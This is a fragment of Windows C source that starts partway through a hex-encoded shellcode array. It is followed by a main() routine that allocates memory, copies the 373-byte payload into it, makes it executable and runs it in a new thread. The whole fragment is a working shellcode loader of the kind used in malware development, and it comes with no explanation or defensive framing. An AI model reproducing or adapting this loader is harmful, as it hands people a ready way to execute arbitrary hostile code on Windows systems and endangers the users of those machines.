    "\xda\x52\xba\xad\xff\x8a\xff\xf7\xda\x52\x89\xe2\x50\x53\x50\x50\x53\x50\x52\x51" 
    "\x89\xe1\x50\x54\x51\x53\x50\xff\x55\x1c\x8b\x4d\x28\x51\x89\xe1\x53\x51\x6a\x03" 
    "\xff\x75\x24\x50\xff\x55\x20\x31\xc0\x50\xff\x55\x10";

unsigned int payload_len = 373;

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(exec_mem, payload, payload_len);
    
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("Shellcode Length:  %d\n", strlen(payload));
    
    if ( rv != 0 ) {
    	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
    	WaitForSingleObject(th, -1);
    	
    }

    return 0;
}
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